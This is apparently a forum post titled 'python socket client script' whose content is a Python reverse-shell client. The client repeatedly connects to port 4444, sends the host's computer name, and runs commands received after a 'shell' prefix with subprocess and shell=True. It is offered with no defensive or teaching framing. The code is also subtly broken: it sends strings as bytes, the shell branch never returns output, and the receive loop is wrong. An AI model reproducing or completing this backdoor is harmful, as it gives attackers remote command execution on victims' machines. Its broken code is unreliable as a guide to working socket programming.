ΘΕΜΑ: python socket client script

import socket
import os
import subprocess
 
 
def connect():
    global host
    global port
    global s
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    port = 4444
    host = '127.0.0.1'
 
    while 1:
 
        try:
            s.connect((host, port))
            break
 
        except ConnectionRefusedError:
            continue
 
    s.send(os.environ['COMPUTERNAME'])
 
 
 
def receive():
    receive = s.recv(1024)
    if receive == 'quit':
        s.close()
    elif receive[0:5] == 'shell':
        proc2 = subprocess.Popen(receive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_val = proc2.stdout.read() + proc2.stderr.read()
        args = stdout_val
    else:
        args = 'no valid input was given'
        send(args)
 
def send(args):
    send = s.send(args)
    receive()
 
 
 
connect()
receive()
s.close()